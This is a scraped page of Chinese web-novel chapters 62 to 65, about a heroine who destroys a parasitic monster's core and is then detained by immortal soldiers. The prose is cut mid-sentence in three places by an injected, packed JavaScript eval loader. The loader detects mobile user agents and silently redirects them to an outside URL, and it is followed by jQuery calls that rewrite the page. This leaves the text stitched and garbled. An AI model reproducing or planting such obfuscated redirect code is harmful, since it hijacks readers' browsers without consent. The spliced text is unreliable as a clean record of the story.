RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549528|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠狠砸在阿烈身上,差点压断他的肋骨。 紧接着,湖面猛地向上拱起—— “轰隆!!” 第二波爆炸接踵而至,冲天水柱裹挟着淤泥、碎石和鱼虾腾空而起,如同一条挣脱束缚的黑龙! 黑色的湖水像暴雨般倾泻而下,整片湖泊都在剧烈震颤。 化西城这座水上城池被彻底惊醒了。 尖叫与呼喊瞬间撕裂夜空。 湖面各岛的浮桥在冲击下剧烈摇晃,临水建筑的门窗被震得哐当作响,几处年久失修的栈道在晃动中坍塌落水。守军慌乱地点亮火把,光影在动荡的水面上疯狂跳跃,如同一场破碎的梦境。 阿烈揉着疼痛的胸膛迅速爬起来,抓起我便藏入了树林深处。 屏着呼吸躲过四处奔来的守军,我们再次沉入湖中,顺着粒粒江游到城外,趁城中兵荒马乱时,一身狼狈回到了暂时躲避的小屋。 “天,天呐,我们成功了,成功了,也算为,为大将军报了仇!!” 已经提前吃了断头饭的阿烈忍不住痛哭起来,为那些视死而归的黑羽军,为坚守到最后一刻的舒岸,以及明知是死路却选择随舒仲回月下州的战友们。 夜啊,请再浓烈一些吧,用来哀悼那些痛苦和牺牲。 直到天光微亮,在木屋前焦灼等待许久的阿烈,终于盼回了未生。 尾巴第一时间检查了未生周身,确认他没有无相孽菌丝寄生的痕迹后,才安心缩回青莲瓶中。 原来在爆炸引发全城混乱时,未生趁多措冲出房门的瞬间,用镶嵌着熠石的黑羽军刀精准刺穿了对方心脏。并将那颗脆弱的无相孽肉瘤剁得粉碎,用最后一颗燔磷石将其彻底焚毁。 到底是仙人,哪怕只是善于“断后”的仙人,出手也如此干净利落。 此时化西守军已倾巢而出,在全城搜捕“捣乱分子”。为避免冲突,我们必须立刻撤离。 说来讽刺,这些本该对准怪物的刀剑,如今却想要我们的命。 可是不要紧,不要去苛求是否有人同行,也不要因禹禹独行而对前路感到迷茫。 去做自己该做的、能做的事,就好了呀。 彩虹崖边,我与阿烈、未生在此暂别。他们要继续赶往天翮城,希望能借助宏音城主聆月使者的影响力,迫使化西城共同抵御无相孽的威胁。 而我,还有一项未尽的承诺需要去完成。 又是一个夜,我目送着两人的身影渐行渐远,最终融进远方的黑暗之中。 转身踏上通往彩虹崖的吊桥,木板在我的脚下发出细微的吱呀声。 “害怕吗,照夜?”尾巴轻轻搭在我肩头,光晕温柔地蹭过我的耳畔。 “不怕。”我望着桥下深不见底的幽谷,“既然是去赴约,就不觉得害怕。” “这个答案我不喜欢,重新说。” 我噗嗤笑出声,故意缩着脖子,抖着骨头上附着的泡泡肉,“呜呜呜,我好害怕尾巴,你要一直陪着我保护我哦。” “这还差不多。”尾巴发出愉悦的波动,“放心吧,有我在。” 慢慢走在晃晃悠悠的吊桥上,我向尾巴讲起了彩虹崖的传说。 在化西城与归德城之间的荒莽群山中,有一处名为“彩虹崖”地方。 悬崖本身并无特别,但其面向东方的一侧,石壁陡峭如镜,且岩层中含有无数细密的、棱角分明的晶石。 相传在很久以前,曾有一位痴迷于光色变幻的仙人在此坐化,其毕生修为逸散,并未归于天地,而是融入了这片石壁。 自此,每当破晓时分,旭日的第一缕金光以特定角度照射在这片晶壁之上时,便会折射出远超寻常的、横贯整座山崖的绚烂彩虹,光华之盛,宛如天桥,故名“彩虹崖”。 走过吊桥,我坐在彩虹崖对面,望着东方即将泛白,心前所未有平静。 尾巴则安静地依偎在我肩头,与我一同等待着。 63. 第63章再见,舒岸;以及世上最好的,尾巴…… 山风凛冽,吹动我的长发与衣袂。新衣上银线绣成的棠梨花在即将逝去的夜色中若隐若现,宛如一场永不凋零的雪。 “说实话,你会不会觉得失落?”尾巴的声音很轻,“在舒岸眼里,你或许八分是棠梨,只有两分才是照夜。” 温热的光啊,永远如此柔软。我好像也彻底不好奇了,为何我体内一团纯粹的仙力,会有自我意识,会如此鲜活。 “不重要了呀,尾巴。”我望着渐亮的天空,“如果需要以棠梨的身份,才能破开这世间最坚硬的盾,那我就,当一回棠梨吧。” “说实话,我一直很好奇舒岸的仙力会是什么模样。”尾巴的光晕微微起伏,“他是战士,惯用大刀,我猜想过他的仙力会凝聚成锋利的刀刃;他心中充满愤怒,从未快乐,我猜想过他的仙力会是一片焚尽一切的火浪。可我唯独没有猜到,他生命的底色,是守护。守护百姓,守护哥哥,守护棠梨——守护你。” 林间的鸟儿比朝阳先一步醒来,也许每日看彩虹也是它们的爱好。 不知不觉间,我的身边已落满了各色鸟儿。它们安静地停在岩石上、树枝间,同样在耐心等待着。 “尾巴,如果我有灵关窍,也会凝炼仙力,会是怎样的呢。”望着天际渐变的晨光,我轻声问道,“不像小青的莲花,不像钩星的迷雾,也不像舒岸的护盾……属于我的力量,会以怎样的形态存在呢?” 尾巴温柔地贴着我的脸,与我一同看向东方渐渐褪去墨色、染上一抹鱼肚白的天空。 而后,那天空从灰白渐渐变成淡淡的橙,继而转为炽烈的金红。 当第一道锐利的阳光如同天剑般劈开云层,精准地落在对面的晶壁上时—— 奇迹诞生了。 万丈光华被瞬间点燃、分解、重组。 一道无比宏大、色彩饱满彩虹,凭空出现,横跨整个山谷,光芒流转,瑰丽得近乎不真实,将整个初醒的天地都映照得明媚起来。 尾巴昂着脑袋,与那周围的万千鸟儿一起,迎接着这毕生难忘的景致。我仿佛能听到他发出细微的、愉悦的轻哼,如这山间最纯粹的风。 “也许呀,也许照夜你这个小笨蛋呀,只是单纯的一缕清风。” 我轻轻拍了下尾巴,感受盘桓缠绕在指尖生命最本真的温暖,轻声道,“走吧,尾巴,就让我这缕清风,去剖开他坚硬的胸膛吧。” 再次回到归德城时,依旧是夜。 与上次不同的是,城中四处可见巡视的仙军,他们正在为最后的行动做准备。 原来,当初随着仙力箭雨一同降临的,还有那些包裹着仙力的燔磷石。它们散落在城市各个角落,被无相孽的母树及菌团尽数吞噬,深藏在其庞大的躯体之中。 待剩余的燔磷石布置完毕,只需一点星火,这场连暴雨都无法熄灭的焚城之火就会燃起,将地上地下的一切生灵化为灰烬。 除了那一处极深的石洞,那是燔磷之火亦无法触碰到的地方。 在尾巴的掩护下,我悄然避过仙军的耳目,重新回到了这段漫长旅程的终点—— 归德城地下极深处。 那面坚不可摧的血色晶盾依然严密包裹着无相孽脆弱的“心脏”,熟悉的搏动声在岩洞中回荡,每一声都像在敲击着我的灵魂。 暗红色的晶化肉瘤在昏暗中起伏,仿佛一个沉睡的巨人正在噩梦中挣扎。 咚咚……咚咚,心跳似乎就在耳畔。 我望着面前暗红色的晶化肉瘤,等待着告别的时刻。 是啊,此行不为重逢,只为诀别。 地面开始剧烈震颤,像胎动一般,又或者只是生命在垂死前的挣扎。 肉瘤中的光芒忽明忽暗,仿佛感知到了迫近的毁灭。无数无相孽正在集结最后的力量,像是要亲手处决这个背叛了亲族的‘核心’。 这些演化出智慧的怪物或许从未料到,被它们寄生的凡人竟拥有出如此强大的意志力。 舒岸像是要用尽此生最后的全部力量,掐断“同胞”们的脐带,他要孕育出这“核心”的母体焚灭成灰,彻底走向死亡。 “是时候了。”尾巴轻声叹息,光晕温柔地将我托起。 我手中的光团渐渐凝聚成一柄金色短刃,轻轻抵在那紧闭的心房之上。 血色晶盾开始消融,如同春雪遇见烈阳,虽走向消亡,却终于等来了我的赴约。 与此同时,地动山摇愈加剧烈,自城外传来的震荡顺着遍布大地的菌丝网络,一直传到这摇摇欲坠的岩洞。 红色如血的仙力源源不断汇聚到我身体里,沸腾如火,温热如光,坚硬如盾,带着无限愤怒、哀怨、以及——渴望。 像是尝遍了这世间全部的苦涩。 仅仅渴望着最初的,也是最后的平静。 金红色的利刃无声地划开最后一层晶盾。在那其中,蜷缩着一个巴掌大小、布满红色菌丝的胎儿状生命。 它紧闭双眼,唯有微弱的心跳在天地间留下了最后一丝痕迹。 “再见,舒岸。” 纯粹的仙力,如淬满剧毒的利刃,精准刺入那脆弱的核心。就像一颗密度极大的熠石,开始无情地抽取无相孽体内庞大的仙力。 地洞在这一刻彻底崩塌。 岩壁上的裂痕如蛛网般蔓延,巨大的岩块如断齿般接连坠落,整个空间都在发出不堪重负的呻吟,每一声崩塌都像是为这场诀别奏响的哀歌。 血红的仙力疯狂聚合、坍缩,在纷落的碎石中凝成一个暗红近黑的能量核心。我体内泛滥的金色仙力化作一条巨大的光尾,将我紧紧包裹。 就在失去最后束缚的刹那,那黑红色的仙力团轰然爆发。 如同挣脱囚笼的洪荒巨兽,它以核心为原点向四面八方奔涌、膨胀、撕扯着所见的一切。 岩壁在能量冲击下化作齑粉,地下暗河被瞬间蒸腾。 尾巴裹紧我,如同逆流的飞星,乘着向上喷发的仙力洪流,强行撕裂开头顶的土层,冲出了地面。 随之而来的,那膨胀开来的黑红色仙力,如同泼洒开的、最具活性的燃料,瞬间点燃了遍布大地的燔磷之火。 目光所及之处,鲜红色的燔磷之火冲天而起,如同大地上突然绽放出的无数愤怒的红莲。 不远处,那株高耸、由无数肢体与眼睛构成的母树,亦在一瞬间被这纯粹的自然之火点燃。 那株巍峨的母树在烈焰中化作了一座燃烧的地标。 树干上万千只眼睛在火舌舔舐下猛地凸起,如同熟透的浆果般接连爆裂,发出令人心悸的“噗噗“声响。无数扭曲的肢体在火海中疯狂抽搐、蜷曲,最终化作焦黑的枯骨。 它成了一株燃烧着毁灭之火的巨树,一个矗立在天地间的巨大火炬,将这片死亡之地的每个角落照得如同白昼。 这光芒带着一种焚尽万物的、令人心悸的酷烈。 还在继续,远远不会结束。 火焰仍在疯狂蔓延,如同活物般贪婪地舔舐着每寸土地。 地面上那些蠕动的红色菌丝在火中发出细微的“嘶嘶“声,像是亿万生灵最后的哀鸣,随即迅速卷曲、碳化,成为火焰的养料。 归德城这座已被菌毯完全覆盖的巨冢,正在经历一场由内而外的彻底净化。 火会燃烧许久,灰烬会变成灰色的绒毯覆盖在这片寂绝的土地之上,在醒来之前,它会沉睡着,等待着,等待终有一日微风再度吹来,大雨重新滋养大地,小草再次破土发芽。 尾巴悄然撤去一半屏障,与我一同在极高的空中俯瞰着这片火海。灼热的风吸干了天地间最后的水汽,连空气都变得脆硬。 “无数生灵逝去了,包括无相孽。“尾巴在叹息。 “是呀……两种生命形态为了争夺“存在”本身,进行了一场残酷的战争。” “这战争,也许持续了数千年。”尾巴叹息着,“无相孽,瘴母神,抑或它们的本体膣藟,不过是一种为了生存和繁衍,不惜一切代价吞噬仙力、异化他物的物种。它的繁衍,它的防御,它的进化,它的反扑,都不过是求生本能。而修仙,汲取天地仙力以求强大,又何尝不是在争夺这有限的仙力资源?杀戮、清除、守护、反抗……本质上,与这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549529|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些怪物的行为,在某个最原始的层面上,并无绝对的善恶之分,只有生存竞争的残酷。” 若是以前,我一定会狠狠反驳尾巴的发言。 但今天此刻,望着这熊熊不熄的烈火,我只能感叹,这场旷日持久的战争,是一种生灵倾尽全力,不断对另一个企图争取生存的生灵的绞杀、抹除。 “等下辈子,我转生成无相孽,或者瘴母神,又或膣藟,我也一定会奋力挣扎着活下去,不惜代价——” 尾巴抚摸着我飘动的长发,望着不远处驾驶飞兽而来的仙军,如一尾灵动的鱼,摆动着绚烂如花一般的尾鳍,顺着风儿带我游向远方。 “小笨蛋,人没有来世,也没有往生。” “那就——好好以人的身份,活下去吧。” ------------------------------------------------------------------------------------------------------------- 我仿佛睡了很久,久到浑身酸痛,神智凝滞。 好的是梦的温床总有新花样,仿佛采集了这世间所有值得铭记在心的景致。 虽然我并没有亲自去过。 但欣赏嘛,有眼睛就够了。 遗憾的是,即便在梦中,或是这虚实难辨的境地里,我大多时候仍在沉睡。 我甚至开始怀疑,尾巴是不是又偷偷吸收了过多仙力,怕我发现自己又圆润了一圈而揍他,才索性让我一同长眠,等待着。 等待着时间,有条不紊慢慢走向前方。 “照夜,醒了么?” 我缓缓睁眼,任那青衣少年将我从沙滩上扶起。耳边是层层叠叠的海浪声,如天籁般起伏,温柔地漫过心神。 “应该还没醒,”我揉了揉眼睛,“若是真的醒了,就不会见到你。” 少年闻言轻笑,“看来我的出现让你困扰了。” “除非你能告诉我,为什么我总在睡梦中见到你。这不合常理。” 许是被我近来锲而不舍的追问所“打动”,煌木这次终于不再闪烁其词,或是刻意回避了。 “因与青莲投缘,我总会隔三差五通过这种方式与他见面。”煌木见我拨浪鼓似的抖去长发上的沙砾,忍不住抬手帮了一把,免得我要将身上多余的赘肉也抖掉才甘心,“他与你进行了深度共鸣,所以你便也遇得到我。” 我狐疑地盯着少年。 虽然这个答案与我猜想得一致,但总有些地方十分诡异,虽然我一时半会儿还没找到那点“诡异”之处。 “你好奇怪,为何要通过这种方式找小青。” 我这次依旧没赶上好时机,今日下雨,银缕沙滩并未展露它如珍珠般的光华,便只是普通的银沙罢了。 淅淅沥沥从天而落的小雨落在我的鼻梁上,带来一抹沁人心脾的透凉,反倒令人心情愉悦舒适。 “因为太痛了。”煌木引我至一处天然岩穹下避雨,睫羽上缀着细碎的水光,“阿戈里亚斯的毒液深入骨髓,痛得人难以保持清醒,所以多数时候,我也在沉睡。”他顿了顿,语气温和,“倒不必吃醋,多数时候,我不过是教青莲功课罢了,他天赋极高,只要悉心引导,他的修为终有一日会冠绝三界。” 刚苏醒的意识如潮水般退去,困意再度袭来。 我趴在煌木硬邦邦的膝盖上,忍着耳朵被硌疼的不适感,小声咕哝,“小青居然背着我开小灶,怪不得懂得总比我多……不过只要他越来越强,我就不用担心他被坏人欺负了。” “睡吧,照夜,你和尾巴该醒了。沉睡太久,终究对身体无益。” 我仰起脸,望着俯身看我的少年,朝他腿边蹭了蹭,“尾巴那个笨蛋,还不能很好把仙力好好收进仙丹里,害我胖成这样。” 煌木轻笑出声,微微曲膝,方便我躺得更舒服些,“你会怪他吗?” “不会,当然不会!”我打了个哈欠,眼皮不受控制地沉沉阖上,“因为他可是这世上——最好的尾巴。” 64. 第 64 章 〖崇仁四十八年,初夏。玉山南三城归德、化西、天翮与皇都月下州构衅,战于归德,死伤枕藉。仙帝渊寂悯之,为之调停。终,人界弃三城,划入仙界。 是年秋,人君舒仲崩,无嗣。初立尚王之子,旋废。朝臣共推亲王舒尚继位,尊太师之妹、前兑贵妃为后,改元顺天。 至此,以玉山为界,起百丈铁棘障,与仙界再定疆域。 故此为新朝·崇仁卷之终结,以笔特书。〗 “啧啧,真是精彩。”在镇中集市的书摊上,与我一同匆匆翻阅了最新一卷“史书”的尾巴发出阵阵喟叹,“为了登上帝位,不惜废黜亲生儿子,还要娶堂嫂为后。这位新任人君舒尚,倒是个狠角色。” 我有些转不动大脑,好似还未从半年前的梦中醒来。 花水镇。我和尾巴在沉睡半年之后终于在山野间醒来,确切说是被一个好心农夫从洞里挖了出来。 据说,我当时被裹在一层淡红色的壳中,长发遮脸,蜷成一团,那壳坚硬无比,里面流动着金色的光。 农夫以为是什么宝贝,准备挖出来到镇上卖了换点钱,谁知当夜那壳便化成了光,随后便露出一个白白胖胖的丫头。 好消息是,因有仙力凝结而成坚硬无比的屏障保护,我和尾巴虽沉睡了半年之久,却一丝损伤都没有。 坏消息是,我没有瘦一丁点。 更坏的消息,仅仅半年光阴,人界已换了人间。 人界政权更迭,舒仲驾崩,那场隐藏在权力斗争深处的灾祸暂时消弭,而归德城的大火至今未熄,化西、天翮两城的气候也因此骤变。 原本四季如春的玉山南,因烟云笼罩而气温骤降,深秋时节,已有行人裹上了冬衣。 “要不,叫焉耆来接咱们?不然走去天翮城还得半个月。”我倒不冷,但鼻腔吸入的空气却凝着寒气。 尾巴藏在我头发里,谨慎地向外张望一番,压低声音,“笨蛋,万万不可。你没发现,这里已被仙界接管了么!别亲易暴露自己。” 行至酒肆,好心的掌柜见我整个人白得发亮,还以为我冷成这样,给我倒杯热茶,并小声嘀咕着,这些仙军老爷可真难伺候,口味刁钻到令人发指,他们花水镇最富盛名的花水烧酒在这些讲究人眼中,竟成了劣酒。 我瞥了眼坐在上座听书的银甲仙军,轻轻叹息。一夜之间,人界的城池便成了仙界治下,翻天覆地的改变似乎并没有影响大家的生活,无非是——花水烧酒成了劣酒,仅此而已。 若有所思地谢过掌柜,我打算继续向南而行。 如今我身无分文,又不敢召唤焉耆前来,便只能边走边蹭车。 好在通往天翮城的道路还算平坦,既无崇山峻岭,也无深涧险壑——天翮城周边本就是一片富庶的沃野平原,自古以来便富得流油。 “你醒来后就不爱说话,是不是心里难过。”尾巴敏锐察觉到了我的寡言,也知道我在难过些什么,只能轻轻捏捏我的耳垂,仿佛这样就能抚平那些说不出口的哀伤。 半年前发生的一切都显得如此不真实,恍惚间,我常以为仍在梦中。若不是那与晶盾如出一辙的红色仙蛹坚不可摧,我几乎无法相信,是自己亲手终结了舒岸的生命。 “你把舒岸的力量都吸收了吗,尾巴?” “那是当然,留给那些仙人岂不浪费。”尾巴在我肩头轻盈地跳跃,“这下好了,咱们也有了这世上最坚固的盾。” “防水吗?” 尾巴一愣,歪着光质的“脑袋”问,“自然防水,还十分轻巧。” 我听着粒粒江顺流直下的水流声,叹道,“我走两步都觉得累,要不咱们躲在蛹里,顺流直下?” “……不行,绝对不行,我晕船。”尾巴生怕我起了“歹念”,手舞足蹈忙道,“我会晕,还会吐。” “你又吸收了多少仙力,半年了我一点都没瘦。”我有些烦恼,垂头一看自己紧绷的胸口,便觉得胸闷气短。 “哎呀,别在乎这点小事嘛。” 眼下发牢骚也无济于事,当务之急是尽快赶到天翮城寻找桃夭神医。不知牧狸如今情况如何,实在叫人牵挂。 花水镇地处化西与天翮两城交界,自古便是军事要冲、交通枢纽。还没走出镇子,我就遇上了盘查。 七八个仙军守在路口盘问往来行人,我不疑有他,稀里糊涂便报上姓名,眼见那仙军在云雾屏上查询我的信息,我心头顿时一紧,立刻慌了神。 “意外收获,抓到个逃犯。” 话音刚落,我便被三两下反剪双手,用捆仙绳绑了个结实。方才还懵着的我立刻清醒过来,连声质问自己所犯何罪。 那仙军倒还算客气,竟让我瞥了一眼云雾屏。待看清上面一行行字迹,我顿时傻了眼—— 好家伙,我竟身负两条罪状,一是偷渡罪,二是非法驾驶骑兽、拖欠罚款罪。再仔细一看,那两万利衡币的罚款连本带利已滚到了四万! “行行好,我、我是冤枉的——” “少废话!”仙军毫不客气地打断我,“押回去听候星允上仙发落!” 我一咬牙——可恶,我才刚醒来,绝不能落到星允手里! 正打算挣脱,我脚下却传来嘶嘶声响。低头一看,一条黑脊蛇不知何时已缠上我脚踝,冰冷黏腻的触感令人汗毛倒竖。 “怎么又是你。”那原本令人厌恶的冰冷声线,此刻却格外悦耳。 我迅速闪到来者身后,压低声音求助,“帮帮忙呗,毒牙上仙!” “……你有没有礼貌,别人仙名都记不住?” 不知从何处现身的褐色竖瞳男人抱臂而立,三言两语便替我解了围,声称要亲自押送我去天翮城。 仙军自然知晓溟牙身份斐然,当即为我松绑,将我移交给了这位上官。 粒粒江,从仙界自琉璃渡进入人界,一路向南奔向天翮城。此时江水汹涌,水质浑浊,像是上游才下过大雨。我勉强掬起刺骨的江水洗了把脸,临水照影——圆脸依旧,唯独青丝又长了几分。 “藏得可真够深,半年杳无音信,还以为你死在哪处角落了。” 我有些讨厌黑脊蛇在旁盯着我,便作势要给它一拳,刚举起拳头,便吓得那黝黑的蛇嗖得一声窜回到溟牙袖筒里。 “你才死,我只是睡着了。” “走不走,我赶时间。” “带我一程呗,我也赶时间。” 溟牙坏笑着瞥我一眼,利落地翻身上马,“不是讨厌我么?” “此一时彼一时嘛。”我扯出个讨好的笑,“现在不讨厌。” 没再多说话,溟牙好像真的赶时间,一匹快马向南而去。我迎着风,望向逐渐黑了下来的天际,感受着风的抚摸。 闲谈间我得知,玉山不仅筑起了铁棘障,更设下四枚禁仙锥,故而飞兽禁行。眼下这片地域暂由星允代管,他正在天翮城休整。而溟牙方才从归德城赶来。 听到这里,我的心猛地揪紧,眼眶又湿润了,“那里的大火……还没熄吗?” “烧得彻底些,才好断绝后患。” 我拭去泪痕,轻声问,“人君他……当真不在了?” “如今是尚君临朝,舒仲退位后不久便病逝了。”溟牙顿了顿,声音从我后脑勺顺着风传入耳中,“他死在了棠梨宫,挺好,终于不需挣扎了。” 我回头望向那双半阖的蛇瞳,“若我再多问些问题,你会回答吗?” 黑脊蛇不知何时已攀上我肩头,惬意地搭着顺风车,冰凉的蛇信不时擦过我的颈侧。但此刻,我也没有心情捉弄这讨厌的蛇。 “最好别问。”溟牙淡淡道,“百目布下了法眼,虽不知具体数目,但谨防万一,我可不想被她盯上。” 我谨慎地环顾四周,想到那些探照灯似的大眼睛,我心里就发毛。 罢了,知道溟牙是潜藏在渊寂身边的卧底,我认为他某种程度上可以信任。但我天真的认知很快就被现实打破了。 一路疾驰,待我们抵达天翮城时,已是深夜。 远望平原之上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549530|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一座灯火璀璨的山城巍然矗立。层层叠叠的建筑依山而建,仿佛万千信徒虔诚地托举起山巅那处至高点,竭力探向夜幕中那轮清冷的明月。 还未来得及细赏这座拜月古城的绝美风姿,我便被径直带往城外林间一座隐秘的宅邸。 古宅内灯火通明,银甲仙军肃立各处。溟牙利落下马,押着我步入正殿,不由分说将我按跪在冰冷的地面上。 忐忑等待了约莫半个时辰,我终于听见脚步声由远及近。 我悄悄抬眼,只见那目中无人的仙军统领、玄珠位阶首席星允上仙缓步而来。他仅着一袭宽松的纯白长袍,结实的胸肌在襟口若隐若现,袍摆开衩处更是毫不避讳地露出线条分明的大腿。 ——这位仙人,显然刚结束沐浴。 “师兄,途中恰巧擒获这名嫌犯,特押来交由你发落。” “嗯。”星允漫应一声,“化西城可有尽心执行仙帝的诏令?” 溟牙拱手恭答,“正在逐户盘查,绝不敢有半分疏漏。” 此时,两名身着银白长裙、绾着飞月髻的貌美女子手捧青玉琉璃瓶上前,单膝跪在星允身侧,小心翼翼地为他的酒盏斟满清冽的琼浆。 “若遗漏半个怪物,唯你是问。”星允轻晃杯盏,目光如刃,“溟牙,你稳坐仙帝座下第二把交椅已有不少时日,其他师弟师妹可都等着与你一较高下。这等小事若出了纰漏……” 溟牙深深垂首,“谨遵大师兄教诲,溟牙告退。” 我紧紧握住怀中的青莲瓶,心中飞快盘算。 虽不愿轻易暴露底牌,但若眼前这个来者不善的男人真要动手,我便要第一时间反击,冲进天翮城找到神医,然后头也不回地逃回月下州! 打定主意,我竖起耳朵默默听着渐近的脚步声。在眼角余光瞥到男人的衣角时,我微微抬起了脸,可下一秒我便吓得赶忙再次低下头去,恨不能将头埋进地板中。 可恶,眼前这个男人——一层丝质长袍下,竟□□,那男人的物件儿就赤裸裸挂在前面,猝不及防地撞入我的视线! “你为何在此?”星允冷冽的声音自头顶传来,“舒仲已死,你身为他的拥趸慌不择路跑了?还是说,当初你与青莲根本是在蒙骗本将军——你并非受雇于舒仲,而是违逆仙律私自随军?” 下颌突然被用力掐住,我被迫抬头迎上那双戏谑的眼眸。星允正俯视着我,唇边凝着一抹嘲讽的弧度。 我强压下狂跳的心,指尖在青莲瓶上轻叩三下,示意尾巴切勿轻举妄动。 “说话,小胖妞。”星允的目光在我周身扫视,“啧啧,两个不知天高地厚的小孩儿,为护那一城死物竟抽空毕生仙力,结果只撑起短短数日的结界。看来帝君对你们的评价,倒是中肯得很。” “什么评价?” “无礼,又愚蠢。” 我暗自腹诽,渊寂竟然在背后如此评价我和青莲,真是可恶。不过转念一想,铁棘仙人对他的评价也不遑多让,我心中又快意了三分。 “说,你来天翮城究竟所为何事?”星允的手指如铁钳般扣住我的下巴,虽只用了一分力气,却大有将我重新捏塑成尖下巴的架势,“若有半句虚言,现在就让你尝尝开膛破肚的滋味。” 危急关头,我灵机一动,慌忙从衣领里扯出那枚新月挂坠,“我、我是来参加月翮圣女选拔的!” 星允闻言一怔,松开了钳制,转而捏起那枚黯淡的月信石。他端详着挂坠,眉宇间掠过一丝困惑,“你?竞选圣女?” “有机会总要试试,万一呢……” 就在此时,我心里得意万分,没想到照夜我脑瓜子转这么快,想必这个无懈可击的回答,可以阻止星允私下处置我。 虽然我“罪多不压身”,并不在乎再给我加一条罪,但——绝不能让星允揪住把柄欺负穆青,尤其在我和穆青迫不得已分别的情况下。 想到那朵清雅如莲的身影,我心头不禁泛起酸涩。不知他此刻是否安好,计划可还顺利,我们又要等到何时才能重逢。 65. 第 65 章 出乎意料的是,星允竟未再为难我,只是下令将我软禁在这座宅院中。待那近乎赤裸的男人拂袖离去,两名仙军立即将我押进一间空荡的厢房,重重落锁。 “哇,这下作的家伙,竟然勾引你!真是可恶!”尾巴见我气鼓鼓,也叉着腰气愤不已,“什么阿猫阿狗都想和你共鸣,绝对不行!” “你胡说什么呢?”我恼火地揉着发疼的下颌,“那分明就是个讨人厌的变态!” “笨蛋照夜!”尾巴猛地扑上来抱住我的脑袋一阵摇晃,光粒如星尘般从它圆形的“嘴”里喷溅到我脸上。若它有实体,此刻定是唾沫横飞的架势,“你在他们眼里就是块行走的熠石!拿来补充仙力再方便不过,代价不过是——不过是——不过是——与你这样那样罢了!” 我吃惊地张大嘴,脸如熟透的柿子,“我怎么可能和他们共鸣!更不可能这样那样!” “哎,真是个小孩儿,什么都不懂,青莲到底在想什么。”尾巴无奈地瘫在我胸前,“青莲让你读尽万卷书,偏偏不教你身为女子该懂的事。天,他还真打算把你一辈子藏在青莲山里?难怪钩星当初要费尽心思把你骗出去……”尾巴光晕一闪,像是悟透了什么玄机,“哈哈!我总算明白当年与谷阿翁交易的人为何爽约了!” 话题突然拐到了奇怪的地方,我顿时被勾起了好奇心。索性窝在冰凉的地板上,扯了扯尾巴的光晕,“当初事情太多,我都忘了这茬。你快说说,究竟明白了什么?” 尾巴趴在我的“香瓜”上,像是在做鬼脸一般,揶揄道,“笨!当然是计划好骗你对方没来,想一步步引诱你去映山都交易,这样你既不会生疑,还会一步步主动落入陷阱,啧啧啧,没想到钩星这小子,这么腹黑。” “讨厌,又说起了无关紧要的事!现在落在星允手里,还不知道要怎么脱身呢。那条可恶的黑蛇,居然出卖我!” 尾巴却不慌不忙地贴着我蹭了蹭,光晕里透着狡黠,“别急,且看他究竟想做什么。” 眼下不可冲动行事。看来星允误以为我将全部仙力都渡给了穆青,觉得我尚有利用价值,这才没有立即将我押回灵璧城,再次投进地刑司。 罢了,走一步看一步,我已经很接近天翮城,无论如何要找到桃夭神医才行。 这天,天下着小雨,我终于被放了出来。 淅淅沥沥的雨带着一丝寒气,不仅如此,这雨竟然带着一抹黑色,从天而降时竟如无数黑线垂落,煞是奇怪。 我好奇地碾碎雨珠一看——指尖残留了一丝灰烬,心下即刻明白了。 因归德城的大火持续燃烧,玉山南的气候发生了变化,不仅总是阴云密布,阻隔了太阳,使得气温骤降,就连雨水也逐渐多了起来,而这雨水因混杂了灰烬,竟形成了“尘雨”。 我被押送至厅堂时,只见星允大剌剌地端坐上位。而在他身旁,还坐着一位陌生的中年男人。那人漠然的目光扫过我时,突然定格在我颈间的新月挂坠上。下一秒,他猛地直起身子,紧紧盯着我打量。 从疑惑,到茫然,最终化为震惊——男人“噌”地站起身,喃喃低语,“棠梨……圣司大人?!” “宏音,此女名叫照夜,在仙界身负两桩罪责。”星允慵懒地开口,“如今却声称手持信物,要来天翮城参加圣女选拔。今日请你来,就是要辨一辨这女骗子的话有几分真。” 我微微一怔,连忙仔细端详起面前这位男人。原来他就是聆月使,天翮城的城主——宏音。 男人身着一袭天翮族特有的墨蓝色立领长袍,衣料看似厚重,却在微光下流淌着如水波般的暗泽,仿佛将深夜的天幕裁成了衣裳。长袍的领口、袖缘与前襟上,都用银线绣满了繁复的古朴月纹,从新月到满月,恰好构成一个完整的轮回。 他的面容如同被风霜仔细雕琢过的岩石,线条刚硬,不见丝毫柔和,眉宇间亦锁着一种经年累月沉淀下来的刻板与严肃。 彼此默然打量起对方,我有些承受不住对方目光里带着的审视衡量,率先别过头去,更是在他高大的身躯走近时,本能后退了一步。 宏音伸手轻轻取下我颈间的挂坠,指尖在那枚光滑的月信石上摩挲片刻,不动声色地将信物纳入袖中,转而向星允禀告,"仙尊,这确是参赛信物无误。天翮族历来有训,持信物者不论出身皆可参选圣女。即便她触犯仙律,也不得妨碍圣女遴选。" 